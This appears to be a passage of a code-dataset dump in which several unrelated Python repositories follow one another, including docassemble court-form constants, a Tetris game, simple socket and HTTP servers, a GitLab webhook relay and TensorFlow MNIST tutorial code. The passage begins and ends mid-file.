\".mailing_address.line_two()\",\n \"_mailing_address\": \".mailing_address\",\n \"_preferred_name\": \".preferred_name\",\n \"_preferred_name_full\": \".preferred_name\",\n \"_preferred_name_first\": \".preferred_name.first\",\n \"_preferred_name_middle\": \".preferred_name.middle\",\n \"_preferred_name_last\": \".preferred_name.last\",\n \"_preferred_name_suffix\": \".preferred_name.suffix\",\n \"_previous_names1\": \".previous_names[0]\", # HACK for LIT Con 2023: we don't have a way to say an attribute is a list yet.\n \"_previous_names1_full\": \".previous_names[0]\",\n \"_previous_names1_first\": \".previous_names[0].first\",\n \"_previous_names1_middle\": \".previous_names[0].middle\",\n \"_previous_names1_last\": \".previous_names[0].last\",\n \"_previous_names1_suffix\": \".previous_names[0].suffix\",\n \"_previous_names2\": \".previous_names[1]\",\n \"_previous_names2_full\": \".previous_names[1]\",\n \"_previous_names2_first\": \".previous_names[1].first\",\n \"_previous_names2_middle\": \".previous_names[1].middle\",\n \"_previous_names2_last\": \".previous_names[1].last\",\n \"_previous_names2_suffix\": \".previous_names[1].suffix\",\n \"_previous_names3\": \".previous_names[2]\",\n \"_previous_names3_full\": \".previous_names[2]\",\n \"_previous_names3_first\": \".previous_names[2].first\",\n \"_previous_names3_middle\": \".previous_names[2].middle\",\n \"_previous_names3_last\": \".previous_names[2].last\",\n \"_previous_names3_suffix\": \".previous_names[2].suffix\",\n \"_previous_names4\": \".previous_names[3]\",\n \"_previous_names4_full\": \".previous_names[3]\",\n \"_previous_names4_first\": \".previous_names[3].first\",\n \"_previous_names4_middle\": \".previous_names[3].middle\",\n \"_previous_names4_last\": \".previous_names[3].last\",\n \"_previous_names4_suffix\": \".previous_names[3].suffix\",\n \"_previous_names5\": \".previous_names[4]\",\n \"_previous_names5_full\": \".previous_names[4]\",\n \"_previous_names5_first\": \".previous_names[4].first\",\n \"_previous_names5_middle\": \".previous_names[4].middle\",\n \"_previous_names5_last\": \".previous_names[4].last\",\n \"_previous_names5_suffix\": \".previous_names[4].suffix\",\n \"_consented_to_name_change\": \".consented_to_name_change\", # HACK for LITCon 2023: these are name-change specific\n \"_parent_consent_attached\": \".parent_consent_attached\",\n \"_no_consent_attached_explanation\": \".no_consent_attached_explanation\",\n}\n\ngenerator_constants.PEOPLE_SUFFIXES = list(\n generator_constants.PEOPLE_SUFFIXES_MAP.values()\n) + [\".name.full()\", \".name\"]\n\n# reserved_suffixes_map\ngenerator_constants.RESERVED_SUFFIXES_MAP = {\n **generator_constants.PEOPLE_SUFFIXES_MAP,\n **{\n # Court-specific\n # '_name_short': not implemented,\n \"_division\": \".division\",\n \"_county\": \".address.county\",\n \"_department\": \".department\",\n },\n}\n\n# these might be used in a docx, but we don't transform PDF fields to use these\n# suffixes\ngenerator_constants.DOCX_ONLY_SUFFIXES = [\n r\"\\.birthdate\",\n r\"\\.birthdate.format\\(.*\\)\",\n r\"\\.familiar\\(\\)\",\n r\"\\.familiar_or\\(\\)\",\n r\"\\.phone_numbers\\(\\)\",\n r\"\\.formatted_age\\(\\)\",\n]\n\ngenerator_constants.DISPLAY_SUFFIX_TO_SETTABLE_SUFFIX = {\n \"\\.address.block\\(\\)$\": \".address.address\",\n \"\\.address.line_one\\(\\)$\": \".address.address\",\n \"\\.address.line_two\\(\\)$\": \".address.address\",\n \"\\.address.on_one_line\\(\\)$\": \".address.address\",\n \"\\.age_in_years\\(\\)$\": \".birthdate\",\n \"\\.birthdate.format\\(.*\\)$\": \".birthdate\",\n \"\\.familiar_or\\(\\)$\": \".name.first\",\n \"\\.familiar\\(\\)$\": \".name.first\",\n \"\\.formatted_age\\(.*\\)$\": \".birthdate\",\n \"\\.mailing_address.block\\(\\)$\": \".mailing_address.address\",\n \"\\.mailing_address.line_one\\(\\)$\": \".mailing_address.address\",\n \"\\.mailing_address.line_two\\(\\)$\": \".mailing_address.address\",\n \"\\.mailing_address.on_one_line\\(\\)$\": \".mailing_address.address\",\n \"\\.name.middle_initial\\(\\)$\": \".name.first\",\n \"\\.phone_numbers\\(\\)$\": \".phone_number\",\n \"\\.preferred_name$\": \".preferred_name.first\",\n}\n\n# Test needed: Jinja `{{ parents[0].name_of_dog }}` should remain the same,\n# not `.name.full()` in the review screen displayed value\ngenerator_constants.FULL_DISPLAY = {\n \"\\.name$\": \".name.full()\",\n \"\\.address$\": \".address.block()\",\n \"\\.mailing_address$\": \".mailing_address.block()\",\n}\n\n# Possible values for 'Allowed Courts', when looking up courts to submit to\ngenerator_constants.COURT_CHOICES = [\n \"Boston Municipal Court\",\n \"District Court\",\n \"Superior Court\",\n \"Housing Court\",\n \"Probate and Family Court\",\n \"Juvenile Court\",\n \"Land Court\",\n]\n","repo_name":"SuffolkLITLab/docassemble-ALWeaver","sub_path":"docassemble/ALWeaver/generator_constants.py","file_name":"generator_constants.py","file_ext":"py","file_size_in_byte":11776,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"31"} +{"seq_id":"12920963837","text":"\"\"\"added quizAr, quizSt cols\n\nRevision ID: 4fe31ef4e30e\nRevises: 502d7ca01a73\nCreate Date: 2020-12-19 19:58:50.883680\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '4fe31ef4e30e'\ndown_revision = '502d7ca01a73'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('quizAr', sa.Integer(), nullable=True))\n op.add_column('user', sa.Column('quizSt', sa.Integer(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('user', 'quizSt')\n op.drop_column('user', 'quizAr')\n # ### end Alembic commands ###\n","repo_name":"srishti-negi/CodeStrup","sub_path":"project/migrations/versions/4fe31ef4e30e_added_quizar_quizst_cols.py","file_name":"4fe31ef4e30e_added_quizar_quizst_cols.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38819982562","text":"from random import choice, randint\n\nclass Piece():\n PIECES = [[(0,1,1),(1,1,0)],\n [(1,1,0),(0,1,1)],\n [(1,0,0),(1,1,1)],\n [(0,0,1),(1,1,1)],\n [(0,1,0),(1,1,1)],\n [(1,1),(1,1)],\n [(1,1,1,1)]]\n\n def __init__(self, piece = None):\n if not piece:\n self.piece = choice(Piece.PIECES)\n rotate_time = randint(0,3)\n self.rotate(times = rotate_time)\n else:\n self.piece = piece\n\n @property\n def width(self):\n return len(self.piece[0])\n\n @property\n def height(self):\n return len(self.piece)\n\n def rotate(self, times=1):\n for i in range(times % 4):\n self.piece = [row[::-1] for row in zip(*self.piece)]\n\n def __str__(self):\n return '\\n'.join(''.join(map(str,line)) for line in self.piece)\n\nclass Board():\n def __init__(self, width = 14, height = 25):\n self.max_height = height\n self.max_width = width\n self.board = [[0]*width for _ in range(height)]\n\n def restart(self):\n self.board = [[0]*self.max_width for _ in range(self.max_height)]\n \n def clean_line(self):\n completed_lines = 0\n for i, line in enumerate(self.board):\n if line.count(0) == 0:\n completed_lines += 1\n del self.board[i]\n self.board.insert(0, [0 for _ in range(self.max_width)])\n return completed_lines\n\n def _drop(self, piece, offset):\n last_level = self.max_height - piece.height + 1\n for level in range(last_level):\n for i in range(piece.height):\n for j in range(piece.width):\n if self.board[level+i][offset+j] == 1 and piece.piece[i][j] == 1:\n return level - 1\n return last_level - 1\n\n @property\n def state(self):\n return ''.join(str(self.board[i][j]) for j in range(self.max_width) for i in range(self.max_height))\n\n def place_piece(self, piece, offset):\n level = self._drop(piece, offset)\n if level < 0:\n return True\n for i in range(piece.height):\n for j in range(piece.width):\n if piece.piece[i][j] == 1:\n self.board[level+i][offset+j] = piece.piece[i][j]\n return False\n\n def __str__(self):\n return '-' * self.max_width + '\\n' + \\\n '\\n'.join(''.join(map(str,line)) for line in self.board) + '\\n' + \\\n '-' * self.max_width\n","repo_name":"yuchunding/Tetris","sub_path":"Tetris2.0/AI/tetris_game.py","file_name":"tetris_game.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15346224716","text":"from http.server import SimpleHTTPRequestHandler as Handler\nfrom http.server import HTTPServer as Server\nfrom threading import Thread\nimport socket\nimport os\n\nPORT = int(os.getenv('PORT', 3000))\nhttp = Server((\"\", PORT), Handler)\n\nclass WebServer:\n\n def __init__(self, address='0.0.0.0', port=PORT):\n self.port = port\n self.address = address\n\n def start(self):\n # Definindo o tipo de server como 'sr' que será TCP/IP\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sr:\n sr.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sr.bind((self.address, self.port))\n sr.listen(10)\n\n while True:\n print('Aguardando conexão...')\n # Definindo o sr para aguardar conexão, ele vai continuar ligado \n conn, addr = sr.accept() \n req = HttpRequest(conn, addr)\n req.start()\n\n\nclass HttpRequest(Thread):\n\n def __init__(self, conn, addr):\n super(HttpRequest, self).__init__()\n self.conn = conn\n self.addr = addr\n self.CRLF = '\\r\\n'\n self.buffer_size = 4096\n\n def run(self):\n request = self.conn.recv(self.buffer_size)\n print(request)\n\n response = HttpResponse(self.conn, self.addr, '')\n response.processRespose()\n\n self.conn.close()\n\nclass pageWeb:\n\n os.chdir('src')\n \n try:\n print(\"Conexão iniciada na porta %i\" % PORT)\n http.serve_forever()\n except KeyboardInterrupt:\n pass\n except socket.error as error:\n print(\"Algo deu errado!\", error)\n \n http.server_close()\nclass HttpResponse:\n\n def __init__(self, conn, addr, file):\n self.conn = conn\n self.addr = addr\n self.file = file\n\n def processRespose(self):\n self.conn.sendall(pageWeb)\n\n \n\n \n \n \n","repo_name":"May199/python-server","sub_path":"webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26258589085","text":"import sys\n\nn, m = map(int, sys.stdin.readline().split())\ntrees = list(map(int, sys.stdin.readline().split()))\n\ns, e = 1, max(trees)\n\nwhile s <= e:\n h = (s + e) // 2\n wood = 0\n\n for tree in trees:\n if tree > h:\n wood += tree - h\n # wood += tree - h if (tree - h) >= 0 else 0 시간초과\n\n if wood >= m:\n s = h + 1\n else:\n e = h - 1\nprint(e)","repo_name":"tkdwns414/Training_Python","sub_path":"BOJ/단계별/21. 이분 탐색/2805.py","file_name":"2805.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41647909530","text":"\n# To support both python 2 and python 3\nfrom __future__ import division, print_function, unicode_literals\n\n# Common imports\nimport numpy as np\nimport os\n\nimport numpy as np\nfrom sklearn.datasets import load_iris\nfrom sklearn.linear_model import Perceptron\n\n\nfrom matplotlib.colors import ListedColormap\n\nimport tensorflow as tf\nfrom tensorflow.contrib.layers import fully_connected\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n\n# to make this notebook's output stable across runs\ndef reset_graph(seed=42):\n tf.reset_default_graph()\n tf.set_random_seed(seed)\n np.random.seed(seed)\n\n# To plot pretty figures\n##%matplotlib inline\nimport matplotlib\nimport matplotlib.pyplot as plt\nplt.rcParams['axes.labelsize'] = 14\nplt.rcParams['xtick.labelsize'] = 12\nplt.rcParams['ytick.labelsize'] = 12\n\n# Where to save the figures\nPROJECT_ROOT_DIR = os.path.dirname(os.path.realpath(__file__))\nCHAPTER_ID = \"10_Introduction to Artificial Neural Networks\"\n\ndef save_fig(fig_id, tight_layout=True):\n path = os.path.join(PROJECT_ROOT_DIR, \"images\", CHAPTER_ID, fig_id + \".png\")\n print(\"Saving figure\", fig_id)\n if tight_layout:\n plt.tight_layout()\n plt.savefig(path, format='png', dpi=300)\n\n\ndef logit(z):\n return 1 / (1 + np.exp(-z))\n\n\ndef relu(z):\n return np.maximum(0, z)\n\n\ndef derivative(f, z, eps=0.000001):\n return (f(z + eps) - f(z - eps)) / (2 * eps)\n\n\ndef heaviside(z):\n return (z >= 0).astype(z.dtype)\n\n\ndef sigmoid(z):\n return 1 / (1 + np.exp(-z))\n\n\ndef mlp_xor(x1, x2, activation=heaviside):\n return activation(-activation(x1 + x2 - 1.5) + activation(x1 + x2 - 0.5) - 0.5)\n\n\ndef neuron_layer(X, n_neurons, name, activation=None):\n with tf.name_scope(name):\n n_inputs = int(X.get_shape()[1])\n stddev = 2 / np.sqrt(n_inputs)\n init = tf.truncated_normal((n_inputs, n_neurons), stddev=stddev)\n W = tf.Variable(init, name=\"kernel\")\n b = tf.Variable(tf.zeros([n_neurons]), name=\"bias\")\n Z = tf.matmul(X, W) + b\n if activation is not None:\n return activation(Z)\n else:\n return Z\n\n## 混淆批次\ndef shuffle_batch(X, y, batch_size):\n rnd_idx = np.random.permutation(len(X)) ## 获取随机批次\n n_batches = len(X) // batch_size ## 获取批次大小\n for batch_idx in np.array_split(rnd_idx, n_batches):\n X_batch, y_batch = X[batch_idx], y[batch_idx]\n yield X_batch, y_batch\n\n\n\nif __name__ == '__main__':\n######-----------------------------\n iris = load_iris()\n X = iris.data[:, (2, 3)] # petal length, petal width\n y = (iris.target == 0).astype(np.int)\n ## Scikit-Learn提供了一个实现单个LTU网络的Perceptron类\n per_clf = Perceptron(max_iter=100, random_state=42)\n per_clf.fit(X, y)\n\n y_pred = per_clf.predict([[2, 0.5]])\n\n print(\"line = 53 y_pred = {}\".format(y_pred))\n\n a = -per_clf.coef_[0][0] / per_clf.coef_[0][1]\n b = -per_clf.intercept_ / per_clf.coef_[0][1]\n\n print(\"line = 58 a = {}, b = {}\".format(a, b))\n\n axes = [0, 5, 0, 2]\n ## 生成网格化数据\n x0, x1 = np.meshgrid(\n np.linspace(axes[0], axes[1], 500).reshape(-1, 1),\n np.linspace(axes[2], axes[3], 200).reshape(-1, 1),\n )\n ## numpy c_ 按行连接两个矩阵\n X_new = np.c_[x0.ravel(), x1.ravel()]\n y_predict = per_clf.predict(X_new)\n ## 转置输出为 x0的维度\n zz = y_predict.reshape(x0.shape)\n ## 画出不同类别的分类图\n plt.figure(figsize=(10, 4))\n plt.plot(X[y == 0, 0], X[y == 0, 1], \"bs\", label=\"Not Iris-Setosa\")\n plt.plot(X[y == 1, 0], X[y == 1, 1], \"yo\", label=\"Iris-Setosa\")\n ## 画出分类线\n plt.plot([axes[0], axes[1]], [a * axes[0] + b, a * axes[1] + b], \"k-\", linewidth=3)\n ## 自定义色盘\n custom_cmap = ListedColormap(['#9898ff', '#fafab0'])\n ## 画出图例和坐标\n plt.contourf(x0, x1, zz, cmap=custom_cmap)\n plt.xlabel(\"Petal length\", fontsize=14)\n plt.ylabel(\"Petal width\", fontsize=14)\n plt.legend(loc=\"lower right\", fontsize=14)\n plt.axis(axes)\n\n save_fig(\"perceptron_iris_plot\")\n plt.show()\n\n###################################\n ## 生成[-5, 5]的点\n z = np.linspace(-5, 5, 200)\n plt.figure(figsize=(11, 4))\n ## 画出各种激活函数图\n plt.subplot(121)\n plt.plot(z, np.sign(z), \"r-\", linewidth=2, label=\"Step\")\n plt.plot(z, logit(z), \"g--\", linewidth=2, label=\"Logit\")\n plt.plot(z, np.tanh(z), \"b-\", linewidth=2, label=\"Tanh\")\n plt.plot(z, relu(z), \"m-.\", linewidth=2, label=\"ReLU\")\n plt.grid(True)\n plt.legend(loc=\"center right\", fontsize=14)\n plt.title(\"Activation functions\", fontsize=14)\n plt.axis([-5, 5, -1.2, 1.2])\n ## 导数函数\n plt.subplot(122)\n plt.plot(z, derivative(np.sign, z), \"r-\", linewidth=2, label=\"Step\")\n plt.plot(0, 0, \"ro\", markersize=5)\n plt.plot(0, 0, \"rx\", markersize=10)\n plt.plot(z, derivative(logit, z), \"g--\", linewidth=2, label=\"Logit\")\n plt.plot(z, derivative(np.tanh, z), \"b-\", linewidth=2, label=\"Tanh\")\n plt.plot(z, derivative(relu, z), \"m-.\", linewidth=2, label=\"ReLU\")\n plt.grid(True)\n # plt.legend(loc=\"center right\", fontsize=14)\n plt.title(\"Derivatives\", fontsize=14)\n plt.axis([-5, 5, -0.2, 1.2])\n\n save_fig(\"activation_functions_plot\")\n plt.show()\n\n###########################\n x1s = np.linspace(-0.2, 1.2, 100)\n x2s = np.linspace(-0.2, 1.2, 100)\n x1, x2 = np.meshgrid(x1s, x2s)\n\n z1 = mlp_xor(x1, x2, activation=heaviside)\n z2 = mlp_xor(x1, x2, activation=sigmoid)\n\n plt.figure(figsize=(10, 4))\n ## heaviside激活函数\n plt.subplot(121)\n plt.contourf(x1, x2, z1)\n plt.plot([0, 1], [0, 1], \"gs\", markersize=20)\n plt.plot([0, 1], [1, 0], \"y^\", markersize=20)\n plt.title(\"Activation function: heaviside\", fontsize=14)\n plt.grid(True)\n ## sigmoid激活函数\n plt.subplot(122)\n plt.contourf(x1, x2, z2)\n plt.plot([0, 1], [0, 1], \"gs\", markersize=20)\n plt.plot([0, 1], [1, 0], \"y^\", markersize=20)\n plt.title(\"Activation function: sigmoid\", fontsize=14)\n plt.grid(True)\n\n##########\n ## 导入mnist 数据集\n (X_train, y_train), (X_test, y_test) = tf.keras.datasets.mnist.load_data(\"../data/mnist.npz\")\n ## 对像素进行归一化\n X_train = X_train.astype(np.float32).reshape(-1, 28 * 28) / 255.0\n X_test = X_test.astype(np.float32).reshape(-1, 28 * 28) / 255.0\n y_train = y_train.astype(np.int32)\n y_test = y_test.astype(np.int32)\n ## 拆分验证集和训练集\n X_valid, X_train = X_train[:5000], X_train[5000:]\n y_valid, y_train = y_train[:5000], y_train[5000:]\n\n ## feature_cols [NumericColumn(key='X', shape=(784,), default_value=None, dtype=tf.float32, normalizer_fn=None)]\n ##特征列构造 数值型\n feature_cols = [tf.feature_column.numeric_column(\"X\", shape=[28 * 28])]\n ## 定义 dnn 分类器 隐藏层 300*100\n dnn_clf = tf.estimator.DNNClassifier(\n hidden_units=[300, 100],\n n_classes=10,\n feature_columns=feature_cols\n )\n ## 从numpy的输入数据中,产生读取的featrues和labels数据\n input_fn = tf.estimator.inputs.numpy_input_fn(\n x={\"X\": X_train},\n y=y_train, num_epochs=40,\n batch_size=50,\n shuffle=True\n )\n ## 训练dnn\n dnn_clf.train(input_fn=input_fn)\n ## 构造 测试数据\n test_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={\"X\": X_test}, y=y_test, shuffle=False)\n ## 得到评估结果\n eval_results = dnn_clf.evaluate(input_fn=test_input_fn)\n print(\"line = 205 eval_results = {}\".formate(eval_results))\n ## 得到预测结果\n y_pred_iter = dnn_clf.predict(input_fn=test_input_fn)\n y_pred = list(y_pred_iter)\n print(\"line = 209 y_pred[0] = {}\".format(y_pred[0]))\n\n ## 指定输入输出\n n_inputs = 28 * 28 # MNIST\n n_hidden1 = 300\n n_hidden2 = 100\n n_outputs = 10\n\n reset_graph()\n ## 设置输入输出\n X = tf.placeholder(tf.float32, shape=(None, n_inputs), name=\"X\")\n y = tf.placeholder(tf.int32, shape=(None), name=\"y\")\n\n ## 定义两个隐藏层和输出\n with tf.name_scope(\"dnn\"):\n hidden1 = neuron_layer(X, n_hidden1, name=\"hidden1\",\n activation=tf.nn.relu)\n hidden2 = neuron_layer(hidden1, n_hidden2, name=\"hidden2\",\n activation=tf.nn.relu)\n logits = neuron_layer(hidden2, n_outputs, name=\"outputs\")\n\n ## 定义全连接 两个隐藏层和输出\n with tf.name_scope(\"dnn\"):\n hidden1 = fully_connected(X, n_hidden1, scope=\"hidden1\")\n hidden2 = fully_connected(hidden1, n_hidden2, scope=\"hidden2\")\n logits = fully_connected(hidden2, n_outputs, scope=\"outputs\", activation_fn=None)\n ## 定义损失函数\n with tf.name_scope(\"loss\"):\n xentropy = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=y,\n logits=logits)\n loss = tf.reduce_mean(xentropy, name=\"loss\")\n ## 设置学习速率\n learning_rate = 0.01\n ## 优化损失函数\n with tf.name_scope(\"train\"):\n optimizer = tf.train.GradientDescentOptimizer(learning_rate)\n training_op = optimizer.minimize(loss)\n ## 评估\n with tf.name_scope(\"eval\"):\n correct = tf.nn.in_top_k(logits, y, 1)\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n ## 初始化\n init = tf.global_variables_initializer()\n saver = tf.train.Saver()\n\n\n## Execution Phase\n############################################\n ##加载 mnist\n mnist = input_data.read_data_sets(\"../data\")\n\n n_epochs = 40\n batch_size = 50\n\n ## 开始训练模型\n ## 开始训练模型\n with tf.Session() as sess:\n init.run()\n ## 迭代轮次\n for epoch in range(n_epochs):\n ## 混淆顺序\n for X_batch, y_batch in shuffle_batch(X_train, y_train, batch_size):\n sess.run(training_op, feed_dict={X: X_batch, y: y_batch})\n acc_batch = accuracy.eval(feed_dict={X: X_batch, y: y_batch})\n acc_val = accuracy.eval(feed_dict={X: X_valid, y: y_valid})\n print(epoch, \"Batch accuracy:\", acc_batch, \"Val accuracy:\", acc_val)\n\n ## 保存模型\n save_path = saver.save(sess, \"./my_model_final.ckpt\")\n\n## Using the Neural Network\n####################################\n ## 获取模型 预测结果\n with tf.Session() as sess:\n saver.restore(sess, \"./my_model_final.ckpt\") # or better, use save_path\n X_new_scaled = X_test[:20]\n Z = logits.eval(feed_dict={X: X_new_scaled})\n y_pred = np.argmax(Z, axis=1)\n\n print(\"line = 313 Predicted classes: \".format(y_pred))\n print(\"line = 314 Actual classes: \".format(y_test[:20]))\n\n ##from tensorflow_graph_in_jupyter import show_graph\n ##show_graph(tf.get_default_graph())\n\n n_inputs = 28 * 28 # MNIST\n n_hidden1 = 300\n n_hidden2 = 100\n n_outputs = 10\n\n#####################################\n reset_graph()\n ## 设置输入输出占位符\n X = tf.placeholder(tf.float32, shape=(None, n_inputs), name=\"X\")\n y = tf.placeholder(tf.int32, shape=(None), name=\"y\")\n\n ## 定义两个隐藏层 一个输出层的dnn\n with tf.name_scope(\"dnn\"):\n hidden1 = tf.layers.dense(X, n_hidden1, name=\"hidden1\",\n activation=tf.nn.relu)\n hidden2 = tf.layers.dense(hidden1, n_hidden2, name=\"hidden2\",\n activation=tf.nn.relu)\n logits = tf.layers.dense(hidden2, n_outputs, name=\"outputs\")\n y_proba = tf.nn.softmax(logits)\n ## 定义损失函数\n with tf.name_scope(\"loss\"):\n xentropy = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=y, logits=logits)\n loss = tf.reduce_mean(xentropy, name=\"loss\")\n\n learning_rate = 0.01\n ## 定义训练优化过程\n with tf.name_scope(\"train\"):\n optimizer = tf.train.GradientDescentOptimizer(learning_rate)\n training_op = optimizer.minimize(loss)\n ## 定义评估方法\n with tf.name_scope(\"eval\"):\n correct = tf.nn.in_top_k(logits, y, 1)\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\n\n init = tf.global_variables_initializer()\n saver = tf.train.Saver()\n\n n_epochs = 20\n n_batches = 50\n ## 开始训练\n with tf.Session() as sess:\n init.run() ## 初始化\n for epoch in range(n_epochs):\n for X_batch, y_batch in shuffle_batch(X_train, y_train, batch_size):\n sess.run(training_op, feed_dict={X: X_batch, y: y_batch})\n acc_batch = accuracy.eval(feed_dict={X: X_batch, y: y_batch})\n acc_valid = accuracy.eval(feed_dict={X: X_valid, y: y_valid})\n print(epoch, \"Batch accuracy:\", acc_batch, \"Validation accuracy:\", acc_valid)\n\n save_path = saver.save(sess, \"./my_model_final.ckpt\")\n\n ##show_graph(tf.get_default_graph())\n\n ","repo_name":"inzahgi/ML","sub_path":"test/hand_on_ML/chapter10/test10.py","file_name":"test10.py","file_ext":"py","file_size_in_byte":12933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70540297047","text":"import sys\nimport socket\nimport selectors\nimport types\n\nsel = selectors.DefaultSelector()\nmessages = [b\"Messagem 1 do client.\", b\"Messagem 2 do client.\"]\n\n\ndef start_connections(host, port, num_conns):\n server_addr = (host, port)\n for i in range(0, num_conns):\n connid = i + 1\n print(f\"Comecando conexao {connid} para {server_addr}\")\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setblocking(False)\n sock.connect_ex(server_addr)\n events = selectors.EVENT_READ | selectors.EVENT_WRITE\n data = types.SimpleNamespace(\n connid=connid,\n msg_total=sum(len(m) for m in messages),\n recv_total=0,\n messages=messages.copy(),\n outb=b\"\",\n )\n sel.register(sock, events, data=data)\n\n\ndef service_connection(key, mask):\n sock = key.fileobj\n data = key.data\n if mask & selectors.EVENT_READ:\n recv_data = sock.recv(1024) # Deve estar pronto para ser lido\n if recv_data:\n print(f\"Recebido {recv_data!r} da conexao {data.connid}\")\n data.recv_total += len(recv_data)\n if not recv_data or data.recv_total == data.msg_total:\n print(f\"Fechando conexao {data.connid}\")\n sel.unregister(sock)\n sock.close()\n if mask & selectors.EVENT_WRITE:\n if not data.outb and data.messages:\n data.outb = data.messages.pop(0)\n if data.outb:\n print(f\"Enviando {data.outb!r} para a conexao {data.connid}\")\n sent = sock.send(data.outb) # Deve estar pronto pra ser escrito\n data.outb = data.outb[sent:]\n\n\nif len(sys.argv) != 4:\n print(f\"Uso correto: {sys.argv[0]} \")\n sys.exit(1)\n\nhost, port, num_conns = sys.argv[1:4]\nstart_connections(host, int(port), int(num_conns))\n\ntry:\n while True:\n events = sel.select(timeout=1)\n if events:\n for key, mask in events:\n service_connection(key, mask)\n # Verifica se há um soquete sendo monitorado para continuar.\n if not sel.get_map():\n break\nexcept KeyboardInterrupt:\n print(\"Interrupcao do teclado capturada, saindo...\")\nfinally:\n sel.close()","repo_name":"Danielvenzi/OpenWRT-SDN-like-controller","sub_path":"OpenWRT-SDN-Proxy/testes/socket-multconn-client.py","file_name":"socket-multconn-client.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1709492984","text":"import tornado.ioloop\nimport tornado.web\n\nimport sockjs.tornado\n\nfrom Queue import Queue, Empty\nimport json\n\nQUEUE = Queue()\n\n\nclass IndexHandler(tornado.web.RequestHandler):\n def get(self):\n self.render('index.html')\n\n\nclass GitlabWebhookHandler(tornado.web.RequestHandler):\n def post(self):\n data = json.loads(self.request.body)\n repo = data['repository']['name']\n push_user = data['user_name']\n commits = data['commits']\n message = json.dumps({'type': 'gitlab', 'repo': repo, 'push_user': push_user, 'commits': commits})\n QUEUE.put(message)\n self.write('ok')\n\n\nclass SocketConnection(sockjs.tornado.SockJSConnection):\n \"\"\"Chat connection implementation\"\"\"\n # Class level variable\n participants = set()\n\n def on_open(self, info):\n # Add client to the clients list\n self.participants.add(self)\n self.timeout = tornado.ioloop.PeriodicCallback(self._hook, 500)\n self.timeout.start()\n\n def on_close(self):\n # Remove client from the clients list and broadcast leave message\n self.participants.remove(self)\n\n def _hook(self):\n try:\n while True:\n self.broadcast(self.participants, QUEUE.get(block=False))\n except Empty:\n pass\n\n\nif __name__ == '__main__':\n import logging\n logging.getLogger().setLevel(logging.DEBUG)\n\n SocketRouter = sockjs.tornado.SockJSRouter(SocketConnection, '/socket')\n\n app = tornado.web.Application(\n [(r\"/\", IndexHandler), (r\"/gitlab\", GitlabWebhookHandler)] + SocketRouter.urls\n )\n\n app.listen(8080)\n\n tornado.ioloop.IOLoop.instance().start()","repo_name":"stuartkmarsh/gitlab-hook-websocket","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"26549006696","text":"# -*- coding: utf-8 -*-\nu\"\"\"Méthodes pour formater les données brutes (txt et xml).\"\"\"\n\nimport xml.etree.ElementTree as ET\nimport nltk\nimport os\nfrom sys import platform\n\n# path = \"/home/lucasclaude3/Documents/Stage_Telecom/Datasets/Semaine/all/\"\nCURRENT_OS = platform \nif CURRENT_OS == 'darwin': \n INIT_PATH = \"/Users/Valou/\"\nelif CURRENT_OS == 'linux2':\n INIT_PATH = \"/home/valentin/\"\n \npath = INIT_PATH + \"Dropbox/TELECOM_PARISTECH/Stage_Lucas/Datasets/Semaine/all/\"\n\nTEST = True\n\n\"\"\" En gros, à l'origine on a un fichier XML pas beau duquel on veut extraire\nles informations qui nous intéressent, i.e. les \"units\" correspondant aux\nattitudes, sources et targets.\n\nDur dur de faire un code plus joli mais ca marche... Si tu ne comprends pas le\nprincipe des annotations n'hesite pas a demander à Caroline, c'est elle qui les\na faite, et elle ne mord (presque) pas ! \"\"\"\n\ndef __attitude(nameType, tagType):\n \"\"\" c'est juste pour automatiser certains trucs chiants.\n Permet de normaliser les attitudes : source, target, ou attitude_polarite \n \"\"\"\n att = \"none\"\n if \"source\" in nameType:\n att = \"source\"\n elif \"target\" in nameType:\n att = \"target\"\n elif \"Utterance\" in nameType:\n att = tagType[1][0].text\n pol = tagType[1][2].text\n if att != \"none\" and pol != \"undefined\":\n att = \"%s_%s\" % (att, pol)\n else:\n att = \"none\"\n return att\n\n\ndef __updatelabelBIO(lab, attitudeType, cpt):\n \"\"\" a l'origine il n'y a pas de B et de I, il faut les creer soit même.\"\"\"\n if lab == \"O\":\n if cpt == 0:\n labB = 'B-' + attitudeType\n else:\n labB = 'I-' + attitudeType\n else:\n if cpt == 0:\n labB = lab + \";B-\" + attitudeType\n else:\n labB = lab + \";I-\" + attitudeType\n return labB\n\n\ndef dump_semaine(ac_filename, aa_filename, dump_filename):\n u\"\"\"convertit les annotations ac et aa de Glozz au format Conll.\n ac pour le texte, aa pour les annotations\n Met les resultats dans le fichier dump du type \"dump_all\" \n \"\"\"\n f_ac = 